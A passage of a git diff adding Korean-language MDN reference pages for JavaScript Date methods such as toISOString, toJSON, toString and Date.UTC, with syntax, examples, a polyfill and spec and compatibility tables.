+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html
new file mode 100644
index 0000000000..f4d5609444
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/setutcseconds/index.html
@@ -0,0 +1,130 @@
+---
+title: Date.prototype.setUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>setUTCSeconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 초를 설정합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>초를 나타내는 0에서 59 사이의 정수입니다.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>선택 과목. 밀리 초를 나타내는 0에서 999 사이의 숫자입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 업데이트 된 날짜 사이의 밀리 초 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>msValue 매개 변수를 지정하지 않으면 {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}} 메서드에서 반환 된 값이 사용됩니다.</p>
+
+<p>지정한 매개 변수가 예상 범위를 벗어나면 setUTCSeconds()가 그에 따라 {{jsxref("Date")}} 객체의 날짜 정보를 업데이트하려고 시도합니다. 예를 들어, secondsValue에 100을 사용하면 {{jsxref("Date")}} 객체에 저장된 분이 1 씩 증가하고 40 초 동안 사용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_setUTCSeconds()">Using <code>setUTCSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCSeconds(20);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html b/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html
new file mode 100644
index 0000000000..1ded363e99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/todatestring/index.html
@@ -0,0 +1,82 @@
+---
+title: Date.prototype.toDateString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toDateString()</strong></code> 메서드는 미국 영어로 사람이 읽을 수있는 형태로 {{jsxref("Date")}} 객체의 날짜 부분을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/date-todatestring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toDateString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 {{jsxref ( "Date")}} 객체의 날짜 부분을 사람이 읽을 수있는 형태로 미국 영어로 나타내는 문자열입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref ( "Date")}} 인스턴스는 특정 시점을 참조합니다. {{jsxref ( "Date.prototype.toString ()", "toString ()")}}을 호출하면 사람이 읽을 수있는 형식의 미국식 영어로 된 날짜가 반환됩니다. SpiderMonkey에서는 날짜 부분 (일, 월, 연도)과 시간 부분 (시, 분, 초 및 시간대)으로 구성됩니다. 때로는 날짜 부분의 문자열을 얻는 것이 바람직합니다. 이러한 일은 toDateString () 메서드를 사용하여 수행 할 수 있습니다.</p>
+
+<p>toDateString () 메서드는 ECMA-262를 구현하는 호환 엔진이 {{jsxref ( "Date.prototype.toString ()", "toString ()")}} 날짜 ")}} 객체를 사용할 수 있습니다. 형식은 구현에 따라 다르며 간단한 문자열 분할 방법은 여러 엔진에서 일관된 결과를 생성하지 않을 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_basic_usage_of_toDateString()">A basic usage of <code>toDateString()</code></h3>
+
+<pre class="brush: js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString()); // logs Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // logs Wed Jul 28 1993
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Date.toDateString")}}</p>
+
+<div> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html b/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html
new file mode 100644
index 0000000000..a9743f04d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/toisostring/index.html
@@ -0,0 +1,107 @@
+---
+title: Date.prototype.toISOString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toISOString()</code></strong> 메서드는 단순화한 확장 ISO 형식(<a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a>)의 문자열을 반환합니다. 반환값은 언제나 24글자 또는 27글자(각각 <strong><code>YYYY-MM-DDTHH:mm:ss.sssZ</code></strong> 또는 <strong><code>±YYYYYY-MM-DDTHH:mm:ss.sssZ</code></strong>)입니다. 시간대는 언제나 UTC이며 접미어 "<code>Z</code>"로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-toisostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toISOString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜를 국제표준시 기준 <a href="http://en.wikipedia.org/wiki/ISO_8601">ISO 8601</a> 형식으로 표현한 문자열.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toISOString()_사용하기"><code>toISOString()</code> 사용하기</h3>
+
+<p>아래 예제는 비표준 문자열의 분석을 포함하고 있어 비 Mozilla 브라우저에서는 올바르게 작동하지 않을 수 있습니다.</p>
+
+<pre class="brush: js">const today = new Date('05 October 2011 14:48 UTC');
+
+console.log(today.toISOString()); // Returns 2011-10-05T14:48:00.000Z</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>toISOString</code>은 ECMA-262 제5판에 표준으로 자리잡았습니다. 아직 지원하지 않는 환경에서는 다음 코드를 추가해 대체할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Date.prototype.toISOString) {
+ (function() {
+
+ function pad(number) {
+ if (number &lt; 10) {
+ return '0' + number;
+ }
+ return number;
+ }
+
+ Date.prototype.toISOString = function() {
+ return this.getUTCFullYear() +
+ '-' + pad(this.getUTCMonth() + 1) +
+ '-' + pad(this.getUTCDate()) +
+ 'T' + pad(this.getUTCHours()) +
+ ':' + pad(this.getUTCMinutes()) +
+ ':' + pad(this.getUTCSeconds()) +
+ '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+ 'Z';
+ };
+
+ }());
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toISOString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/tojson/index.html b/files/ko/web/javascript/reference/global_objects/date/tojson/index.html
new file mode 100644
index 0000000000..5f069e3417
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/tojson/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toJSON()</code></strong> 메서드는 {{jsxref("Date")}} 객체의 문자열 표현을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tojson.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toJSON()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 문자열 표현.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Date")}} 인스턴스는 시간의 특정 지점을 가리킵니다. <code>toJSON()</code>을 호출하면 {{jsxref("Date.prototype.toISOString()", "toISOString()")}} 사용해 그 인스턴스가 가리키는 시간의 문자열 표현을 반환합니다. <code>toJSON()</code>은  <code>Date</code> 값을 {{Glossary("JSON")}}으로 직렬화할 때 유용하게 사용할 수 있도록 만들어졌습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toJSON()_사용하기"><code>toJSON()</code> 사용하기</h3>
+
+<pre class="brush:js">const jsonDate = (new Date()).toJSON();
+const backToDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toJSON")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/tostring/index.html b/files/ko/web/javascript/reference/global_objects/date/tostring/index.html
new file mode 100644
index 0000000000..5adaaf4f84
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/tostring/index.html
@@ -0,0 +1,125 @@
+---
+title: Date.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toString
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>toString()</code></strong> 메서드는 {{jsxref("Date")}} 객체의 시간을 문자열로 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/date-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Date")}} 객체는 <code>toString()</code> 메서드를 {{jsxref("Object.prototype")}}이 아닌 {{jsxref("Date.prototype")}}에서 상속받습니다. <code>Date.prototype.toString()</code>의 반환값은 ECMA-262에 명시되어있으며 다음과 같이 요약할 수 있습니다.</p>
+
+<ul>
+ <li>요일: 세 글자 영어 요일명. 예: "Sat"</li>
+ <li>공백</li>
+ <li>월: 세 글자 영어 월 이름. 예: "Sep"</li>
+ <li>공백</li>
+ <li>일: 두 글자 숫자. 예: "01"</li>
+ <li>공백</li>
+ <li>연: 네 글자 숫자. 예: "2018"</li>
+ <li>공백</li>
+ <li>시: 두 글자 숫자. 예: "14"</li>
+ <li>콜론</li>
+ <li>분: 두 글자 숫자. 예: "53"</li>
+ <li>콜론</li>
+ <li>초: 두 글자 숫자. 예: "26"</li>
+ <li>공백</li>
+ <li>문자열 "GMT"</li>
+ <li>시간대 차이의 부호.
+ <ul>
+ <li>0 이상일 경우 "+"</li>
+ <li>0 미만일 경우 "-"</li>
+ </ul>
+ </li>
+ <li>두 글자 숫자로 표현한 시 차이. 예: "14"</li>
+ <li>두 글자 숫자로 표현한 분 차이. 예: "00"</li>
+ <li>선택사항: 다음으로 구성한 시간대의 이름.
+ <ul>
+ <li>공백</li>
+ <li>여는 소괄호</li>
+ <li>구현마다 다를 수 있는 시간대 이름. 약어와 전체 이름 둘 다 가능. 예: "Korea Standard Time", "한국 표준시" 또는 "KST"</li>
+ <li>닫는 소괄호</li>
+ </ul>
+ </li>
+</ul>
+
+<p>예: "Sat Sep 01 2018 14:53:26 GMT+0900 (KST)"</p>
+
+<p>ECMAScript 2018(제9판) 전까지 <code>toString()</code>의 반환 형식은 구현에 따라 다를 수 있었습니다. 따라서 특정 형식에 의존하지 않아야 합니다.</p>
+
+<p><code>toString()</code> 메서드는 날짜를 문자열로 표현해야 할 때 자동으로 쓰입니다. <code>console.log(new Date())</code>와 <code>const today = 'Today is ' + new Date()</code> 등의 경우를 예로 들 수 있습니다.</p>
+
+<p><code>toString()</code>은 제네릭 메서드로 <code>this</code>의 값이 {{jsxref("Date")}}일 필요는 없습니다. 그러나 내부적으로 <code>[[TimeValue]]</code> 속성이 필요한데, 이는 JavaScript로는 설정할 수 없어 결국 사용이 <code>Date</code> 인스턴스로 제한됩니다. <code>Date</code> 외의 다른 객체에서 호출하면 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString()_사용"><code>toString()</code> 사용</h3>
+
+<pre class="brush: js"><code>var x = new Date();
+var myVar = x.toString(); // assigns a string value to myVar in the same format as:
+ // Mon Sep 08 1998 14:36:22 GMT+0900 (KST)</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/utc/index.html b/files/ko/web/javascript/reference/global_objects/date/utc/index.html
new file mode 100644
index 0000000000..f340c4d44a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/utc/index.html
@@ -0,0 +1,139 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Global_Objects/Date/UTC
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.UTC()</code></strong> 메서드는 {{jsxref("Date")}} 생성자와 비슷한 매개변수를 받지만, 모두 UTC로 취급합니다. 반환 값은 1970년 1월 1일 00:00:00 UTC부터 매개변수가 나타내는 시간의 차이를 밀리초로 나타낸 수입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-utc.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><strong>ECMAScript 2017 이상:</strong></p>
+
+<pre class="syntaxbox">Date.UTC(<var>year[</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</pre>
+
+<p><strong>ECMAScript 2016 이하:</strong> (<code>month</code> 필수)</p>
+
+<pre class="syntaxbox">Date.UTC(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>네 자리 연도.</dd>
+ <dt><code>month</code></dt>
+ <dd>월을 나타내는 0(1월)에서 11(12월) 사이의 정수. ECMAScript 2016까지는 필수 매개변수였으나, ECMA2017부터는 선택사항입니다.</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>일을 나타내는 1에서 31 사이의 정수. 기본값은 1입니다.</dd>
+ <dt><code>hour</code> {{optional_inline}}</dt>
+ <dd>시를 나타내는 0에서 23 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>minute</code> {{optional_inline}}</dt>
+ <dd>분을 나타내는 0에서 59 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>second</code> {{optional_inline}}</dt>
+ <dd>초를 나타내는 0에서 59 사이의 정수. 기본값은 0입니다.</dd>
+ <dt><code>millisecond</code> {{optional_inline}}</dt>
+ <dd>밀리초를 나타내는 0에서 999 사이의 정수. 기본값은 0입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜와 1970년 1월 1일 00:00:00 UTC의 차이를 밀리초로 나타낸 숫자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Date.UTC()</code>는 날짜 및 시간을 받고, 1970년 1월 1일 00:00:00 UTC와의 차이를 밀리초 수로 나타내 반환합니다.</p>
+
+<p>0에서 99 사이의 연도는 20세기<code>(1900 + year)</code>로 취급합니다. 즉 95를 입력할 경우 1995로 취급합니다.</p>
+
+<p><code>Date.UTC()</code> 메서드는 {{jsxref("Date")}} 생성자와 다른 점이 두 가지 있습니다.</p>
+
+<ul>
+ <li><code>Date.UTC()</code>는 현지 시간 대신 국제 표준시(UTC)를 사용합니다.</li>
+ <li><code>Date.UTC()</code>는 {{jsxref("Date")}} 객체를 만드는 대신 시간 값을 숫자로 반환합니다.</li>
+</ul>
+
+<p>주어진 매개변수가 통상적인 범위를 벗어나면 <code>Date.UTC()</code> 메서드는 다른 매개변수 값을 조절해 계산합니다. 예를 들어, 월 값으로 15를 사용하면 연도가 1 증가(<code>year + 1</code>)하고, 월 계산에는 3을 대신 사용합니다.</p>
+
+<p><code>Date.UTC()</code>는 {{jsxref("Date")}}의 정적 메서드이므로, 사용자가 생성한 {{jsxref("Date")}} 인스턴스에서 호출하지 않고 <code>Date.UTC()</code> 형태로 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Date.UTC()_사용하기"><code>Date.UTC()</code> 사용하기</h3>
+
+<p>다음 예제는 현지 시간 대신 UTC를 사용하여 {{jsxref("Date")}} 객체를 생성합니다.</p>
+
+<pre class="brush:js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.UTC")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<h3 id="매개변수를_두_개_미만_제공하는_경우">매개변수를 두 개 미만 제공하는 경우</h3>
+
+<p>Date.UTC()가 두 개 미만의 매개변수를 받은 경우, ECMAScript 2017은 {{jsxref("NaN")}}을 반환할 것을 요구합니다. 이를 지원하지 않던 엔진은 업데이트됐습니다. ({{bug(1050755)}}, <a href="https://github.com/tc39/ecma262/pull/642">ecma-262 #642</a>를 참고하세요)</p>
+
+<pre class="brush: js">Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox &lt;54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/valueof/index.html b/files/ko/web/javascript/reference/global_objects/date/valueof/index.html
new file mode 100644
index 0000000000..778321f74e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/valueof/index.html
@@ -0,0 +1,79 @@
+---
+title: Date.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 함수는 {{jsxref("Date")}} 객체의 원시값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-valueof.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.valueOf()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>반환되는 milliseconds 값은 1 January 1970 00:00:00 UTC 와 주어진 일시 사이의 값입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>valueOf()</code> 함수는 01 January, 1970 UTC 이후의 milliseconds 단위의 자연수 타입인 {{jsxref("Date")}} 객체의 원시값을 반환합니다.</p>
+
+<p>이 함수는 {{jsxref("Date.prototype.getTime()")}} 함수와 동일한 결과값을 반환합니다.</p>
+
+<p>이 함수는 사용자 코드에 명시된 것이 아닌, JavaScript 자체에 포함되어 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_valueOf()">Using <code>valueOf()</code></h3>
+
